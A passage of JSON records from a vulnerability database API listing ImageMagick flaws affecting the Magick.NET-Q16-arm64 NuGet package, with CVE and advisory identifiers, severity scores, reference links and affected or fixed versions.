"pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "GHSA-x928-4434-crqj" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-ea8n-71s6-nbfq" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/64216?format=api", "vulnerability_id": "VCID-fwfe-gcte-kyh3", "summary": "ImageMagick: ImageMagick: Denial of Service via out-of-bounds write in X11 display interaction path", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33535.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33535.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33535", "reference_id": "", "reference_type": "", "scores": [ { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00494", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33535" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33535", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33535" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mw3m-pqr2-qv7c", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-27T19:52:50Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mw3m-pqr2-qv7c" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33535", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33535" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2451855", "reference_id": "2451855", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2451855" }, { "reference_url": "https://github.com/advisories/GHSA-mw3m-pqr2-qv7c", "reference_id": "GHSA-mw3m-pqr2-qv7c", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-mw3m-pqr2-qv7c" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/112877?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.11.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.11.1" } ], "aliases": [ "CVE-2026-33535", "GHSA-mw3m-pqr2-qv7c" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-fwfe-gcte-kyh3" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50308?format=api", "vulnerability_id": "VCID-g38v-cdjz-a7cd", "summary": "ImageMagick has memory leak of watermark Image object in ReadSTEGANOImage on multiple error/early-return paths\nIn `ReadSTEGANOImage()` (`coders/stegano.c`), the `watermark` Image object is not freed on three early-return paths, resulting in a definite memory leak (~13.5KB+ per invocation) that can be exploited for denial of service.\n\n```\nDirect leak of 13512 byte(s) in 1 object(s) allocated from:", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25796.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25796.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25796", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00027", "scoring_system": "epss", "scoring_elements": "0.08025", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25796" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25796", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25796" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/93ad259ce4f6d641eea0bee73f374af90f35efc3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/93ad259ce4f6d641eea0bee73f374af90f35efc3" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442112", "reference_id": "2442112", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442112" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25796", "reference_id": "CVE-2026-25796", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25796" }, { "reference_url": "https://github.com/advisories/GHSA-g2pr-qxjg-7r2w", "reference_id": "GHSA-g2pr-qxjg-7r2w", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-g2pr-qxjg-7r2w" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-g2pr-qxjg-7r2w", "reference_id": "GHSA-g2pr-qxjg-7r2w", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:11:19Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-g2pr-qxjg-7r2w" }, { "reference_url": "https://usn.ubuntu.com/8127-1/", "reference_id": "USN-8127-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8127-1/" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25796", "GHSA-g2pr-qxjg-7r2w" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-g38v-cdjz-a7cd" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/57966?format=api", "vulnerability_id": "VCID-g8u7-m2yd-9key", "summary": "ImageMagick has a heap-buffer-overflow\nWhile Processing a crafted TIFF file, imagemagick crashes.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-68469.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-68469.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-68469", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00024", "scoring_system": "epss", "scoring_elements": "0.07216", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-68469" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68469", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68469" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "1.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2423598", "reference_id": "2423598", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2423598" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68469", "reference_id": "CVE-2025-68469", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "1.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68469" }, { "reference_url": "https://github.com/advisories/GHSA-fff3-4rp7-px97", "reference_id": "GHSA-fff3-4rp7-px97", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-fff3-4rp7-px97" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fff3-4rp7-px97", "reference_id": "GHSA-fff3-4rp7-px97", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "1.1", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U" }, { "value": "2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-12-18T15:52:04Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fff3-4rp7-px97" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/86240?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@13.2.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1btu-wnd9-bfbf" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-27wf-43fw-kuam" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e38-r9z4-a7h9" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-ddvf-h3jf-1yft" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-juaq-c8xf-rkb1" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-kymx-rjrd-m3g4" }, { "vulnerability": "VCID-m1x2-ffdz-ekhu" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pqp5-pw9k-vyew" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-px2s-euef-ayeh" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-r168-y44g-cybn" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sca8-3j9v-2qgn" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xftp-cy5m-nkhh" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yhp9-y1y3-nyh8" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-z5ve-fkb6-8yhs" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@13.2.0" } ], "aliases": [ "CVE-2025-68469", "GHSA-fff3-4rp7-px97" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-g8u7-m2yd-9key" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50882?format=api", "vulnerability_id": "VCID-hm3k-t14d-7kep", "summary": "ImageMagick: Specially crafted SVG leads to segmentation fault and generate trash files in \"/tmp\", possible to leverage DoS\nSpecially crafted SVG file make segmentation fault and generate trash files in \"/tmp\", possible to leverage DoS.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2023-1289.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2023-1289.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2023-1289", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0011", "scoring_system": "epss", "scoring_elements": "0.28948", "published_at": "2026-06-05T12:55:00Z" }, { "value": "0.0011", "scoring_system": "epss", "scoring_elements": "0.28877", "published_at": "2026-06-04T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2023-1289" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2176858", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2176858" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3610", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3610" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1115", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1115" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1289", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1289" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1906", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1906" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34151", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34151" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3428", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3428" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5341", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5341" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/c5b23cbf2119540725e6dc81f4deb25798ead6a4", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/c5b23cbf2119540725e6dc81f4deb25798ead6a4" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2024/02/msg00007.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2024/02/msg00007.html" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1289", "reference_id": "CVE-2023-1289", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1289" }, { "reference_url": "https://github.com/advisories/GHSA-j96m-mjp6-99xr", "reference_id": "GHSA-j96m-mjp6-99xr", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-j96m-mjp6-99xr" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-j96m-mjp6-99xr", "reference_id": "GHSA-j96m-mjp6-99xr", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-j96m-mjp6-99xr" }, { "reference_url": "https://usn.ubuntu.com/6200-1/", "reference_id": 